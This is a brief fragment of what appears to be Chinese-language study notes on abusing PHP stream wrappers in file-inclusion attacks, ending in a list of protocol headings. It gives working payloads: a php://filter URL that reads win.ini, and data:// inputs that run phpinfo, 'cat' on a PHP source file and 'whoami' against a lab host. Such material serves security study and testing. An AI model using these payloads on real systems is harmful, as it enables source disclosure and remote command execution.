php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini”
http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?
file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
也可以用来读php文件源码:
data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?>
或者命令执行:
data:text/plain,<?php system(‘whoami’)?>
file协议
php://filter协议
php://input 伪协议
data://伪协议
http伪协议:
ftp伪协议
phar 协议
ZIP协议介绍